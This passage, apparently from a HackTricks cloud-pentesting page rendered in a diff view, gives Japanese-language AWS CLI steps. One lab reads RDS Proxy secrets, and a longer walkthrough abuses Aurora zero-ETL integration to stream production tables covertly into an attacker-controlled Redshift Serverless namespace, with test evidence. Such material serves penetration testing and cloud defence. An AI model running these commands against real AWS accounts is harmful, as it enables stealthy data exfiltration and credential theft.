||||
--query SecretString --output text
|
||||
# Example output: {"username":"admin","password":"S3cr3t!"}
|
||||
```
|
||||
ラボ(再現の最小構成)
|
||||
```bash
|
||||
REGION=us-east-1
|
||||
ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text)
|
||||
SECRET_ARN=$(aws secretsmanager create-secret \
|
||||
--region $REGION --name rds/proxy/aurora-demo \
|
||||
--secret-string username:admin \
|
||||
--query ARN --output text)
|
||||
aws iam create-role --role-name rds-proxy-secret-role \
|
||||
--assume-role-policy-document Version:2012-10-17
|
||||
aws iam attach-role-policy --role-name rds-proxy-secret-role \
|
||||
--policy-arn arn:aws:iam::aws:policy/SecretsManagerReadWrite
|
||||
aws rds create-db-proxy --db-proxy-name p0 --engine-family MYSQL \
|
||||
--auth [AuthScheme:SECRETS] \
|
||||
--role-arn arn:aws:iam::$ACCOUNT_ID:role/rds-proxy-secret-role \
|
||||
--vpc-subnet-ids $(aws ec2 describe-subnets --filters Name=default-for-az,Values=true --query Subnets[].SubnetId --output text)
|
||||
aws rds wait db-proxy-available --db-proxy-name p0
|
||||
# Now run the enumeration + secret read from the Steps above
|
||||
```
|
||||
クリーンアップ(ラボ)
|
||||
```bash
|
||||
aws rds delete-db-proxy --db-proxy-name p0
|
||||
aws iam detach-role-policy --role-name rds-proxy-secret-role --policy-arn arn:aws:iam::aws:policy/SecretsManagerReadWrite
|
||||
aws iam delete-role --role-name rds-proxy-secret-role
|
||||
aws secretsmanager delete-secret --secret-id rds/proxy/aurora-demo --force-delete-without-recovery
|
||||
```
|
||||
### Aurora zero‑ETL を使った Amazon Redshift へのステルスな継続的 exfiltration (rds:CreateIntegration)
|
||||
|
||||
Aurora PostgreSQL zero‑ETL integration を悪用して、本番データを自分が管理する Redshift Serverless namespace に継続的に複製します。特定の Aurora cluster ARN に対して CreateInboundIntegration/AuthorizeInboundIntegration を許可する寛容な Redshift resource policy がある場合、攻撃者は DB creds、snapshots、ネットワーク露出なしでほぼリアルタイムのデータコピーを確立できます。
|
||||
|
||||
必要な権限(最小):
|
||||
- `rds:CreateIntegration`, `rds:DescribeIntegrations`, `rds:DeleteIntegration`
|
||||
- `redshift:PutResourcePolicy`, `redshift:DescribeInboundIntegrations`, `redshift:DescribeIntegrations`
|
||||
- `redshift-data:ExecuteStatement/GetStatementResult/ListDatabases` (to query)
|
||||
- `rds-data:ExecuteStatement` (optional; to seed data if needed)
|
||||
|
||||
テスト済み: us-east-1, Aurora PostgreSQL 16.4 (Serverless v2), Redshift Serverless.
|
||||
|
||||
<details>
|
||||
<summary>1) Redshift Serverless namespace + workgroup を作成</summary>
|
||||
```bash
|
||||
REGION=us-east-1
|
||||
RS_NS_ARN=$(aws redshift-serverless create-namespace --region $REGION --namespace-name ztl-ns \
|
||||
--admin-username adminuser --admin-user-password 'AdminPwd-1!' \
|
||||
--query namespace.namespaceArn --output text)
|
||||
RS_WG_ARN=$(aws redshift-serverless create-workgroup --region $REGION --workgroup-name ztl-wg \
|
||||
--namespace-name ztl-ns --base-capacity 8 --publicly-accessible \
|
||||
--query workgroup.workgroupArn --output text)
|
||||
# Wait until AVAILABLE, then enable case sensitivity (required for PostgreSQL)
|
||||
aws redshift-serverless update-workgroup --region $REGION --workgroup-name ztl-wg \
|
||||
--config-parameters parameterKey=enable_case_sensitive_identifier,parameterValue=true
|
||||
```
|
||||
</details>
|
||||
|
||||
<details>
|
||||
<summary>2) Redshift のリソースポリシーを構成して Aurora ソースを許可する</summary>
|
||||
```bash
|
||||
ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text)
|
||||
SRC_ARN=<AURORA_CLUSTER_ARN>
|
||||
cat > rs-rp.json <<JSON
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Sid": "AuthorizeInboundByRedshiftService",
|
||||
"Effect": "Allow",
|
||||
"Principal": {"Service": "redshift.amazonaws.com"},
|
||||
"Action": "redshift:AuthorizeInboundIntegration",
|
||||
"Resource": "$RS_NS_ARN",
|
||||
"Condition": {"StringEquals": {"aws:SourceArn": "$SRC_ARN"}}
|
||||
},
|
||||
{
|
||||
"Sid": "AllowCreateInboundFromAccount",
|
||||
"Effect": "Allow",
|
||||
"Principal": {"AWS": "arn:aws:iam::$ACCOUNT_ID:root"},
|
||||
"Action": "redshift:CreateInboundIntegration",
|
||||
"Resource": "$RS_NS_ARN"
|
||||
}
|
||||
]
|
||||
}
|
||||
JSON
|
||||
aws redshift put-resource-policy --region $REGION --resource-arn "$RS_NS_ARN" --policy file://rs-rp.json
|
||||
```
|
||||
</details>
|
||||
|
||||
<details>
|
||||
<summary>3) Aurora PostgreSQL クラスターを作成する (Data API と logical replication を有効にする)</summary>
|
||||
```bash
|
||||
CLUSTER_ID=aurora-ztl
|
||||
aws rds create-db-cluster --region $REGION --db-cluster-identifier $CLUSTER_ID \
|
||||
--engine aurora-postgresql --engine-version 16.4 \
|
||||
--master-username postgres --master-user-password 'InitPwd-1!' \
|
||||
--enable-http-endpoint --no-deletion-protection --backup-retention-period 1
|
||||
aws rds wait db-cluster-available --region $REGION --db-cluster-identifier $CLUSTER_ID
|
||||
# Serverless v2 instance
|
||||
aws rds modify-db-cluster --region $REGION --db-cluster-identifier $CLUSTER_ID \
|
||||
--serverless-v2-scaling-configuration MinCapacity=0.5,MaxCapacity=1 --apply-immediately
|
||||
aws rds create-db-instance --region $REGION --db-instance-identifier ${CLUSTER_ID}-instance-1 \
|
||||
--db-instance-class db.serverless --engine aurora-postgresql --db-cluster-identifier $CLUSTER_ID
|
||||
aws rds wait db-instance-available --region $REGION --db-instance-identifier ${CLUSTER_ID}-instance-1
|
||||
# Cluster parameter group for zero‑ETL
|
||||
aws rds create-db-cluster-parameter-group --region $REGION --db-cluster-parameter-group-name apg16-ztl-zerodg \
|
||||
--db-parameter-group-family aurora-postgresql16 --description "APG16 zero-ETL params"
|
||||
aws rds modify-db-cluster-parameter-group --region $REGION --db-cluster-parameter-group-name apg16-ztl-zerodg --parameters \
|
||||
ParameterName=rds.logical_replication,ParameterValue=1,ApplyMethod=pending-reboot \
|
||||
ParameterName=aurora.enhanced_logical_replication,ParameterValue=1,ApplyMethod=pending-reboot \
|
||||
ParameterName=aurora.logical_replication_backup,ParameterValue=0,ApplyMethod=pending-reboot \
|
||||
ParameterName=aurora.logical_replication_globaldb,ParameterValue=0,ApplyMethod=pending-reboot
|
||||
aws rds modify-db-cluster --region $REGION --db-cluster-identifier $CLUSTER_ID \
|
||||
--db-cluster-parameter-group-name apg16-ztl-zerodg --apply-immediately
|
||||
aws rds reboot-db-instance --region $REGION --db-instance-identifier ${CLUSTER_ID}-instance-1
|
||||
aws rds wait db-instance-available --region $REGION --db-instance-identifier ${CLUSTER_ID}-instance-1
|
||||
SRC_ARN=$(aws rds describe-db-clusters --region $REGION --db-cluster-identifier $CLUSTER_ID --query 'DBClusters[0].DBClusterArn' --output text)
|
||||
```
|
||||
</details>
|
||||
|
||||
<details>
|
||||
<summary>4) RDS から zero‑ETL 統合を作成する</summary>
|
||||
```bash
|
||||
# Include all tables in the default 'postgres' database
|
||||
aws rds create-integration --region $REGION --source-arn "$SRC_ARN" \
|
||||
--target-arn "$RS_NS_ARN" --integration-name ztl-demo \
|
||||
--data-filter 'include: postgres.*.*'
|
||||
# Redshift inbound integration should become ACTIVE
|
||||
aws redshift describe-inbound-integrations --region $REGION --target-arn "$RS_NS_ARN"
|
||||
```
|
||||
</details>
|
||||
|
||||
<details>
|
||||
<summary>5) Redshiftで複製されたデータをマテリアライズしてクエリする</summary>
|
||||
```bash
|
||||
# Create a Redshift database from the inbound integration (use integration_id from SVV_INTEGRATION)
|
||||
aws redshift-data execute-statement --region $REGION --workgroup-name ztl-wg --database dev \
|
||||
--sql "select integration_id from svv_integration" # take the GUID value
|
||||
aws redshift-data execute-statement --region $REGION --workgroup-name ztl-wg --database dev \
|
||||
--sql "create database ztl_db from integration '<integration_id>' database postgres"
|
||||
# List tables replicated
|
||||
aws redshift-data execute-statement --region $REGION --workgroup-name ztl-wg --database ztl_db \
|
||||
--sql "select table_schema,table_name from information_schema.tables where table_schema not in ('pg_catalog','information_schema') order by 1,2 limit 20;"
|
||||
```
|
||||
</details>
|
||||
|
||||
テストで観察された証拠:
|
||||
- redshift describe-inbound-integrations: Status ACTIVE for Integration arn:...377a462b-...
|
||||
- SVV_INTEGRATION は、DB 作成前に integration_id 377a462b-c42c-4f08-937b-77fe75d98211 と state PendingDbConnectState を表示していました。
|
||||
- CREATE DATABASE FROM INTEGRATION 実行後、テーブルを一覧表示すると schema ztl と table customers が見つかり、ztl.customers から選択すると 2 行 (Alice, Bob) が返されました。
|
||||
|
||||
影響:攻撃者が制御する Redshift Serverless へ、選択した Aurora PostgreSQL テーブルをデータベース資格情報、バックアップ、またはソースクラスタへのネットワークアクセスを使用せずに、継続的かつほぼリアルタイムで exfiltration を行える可能性があります。
|
||||
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user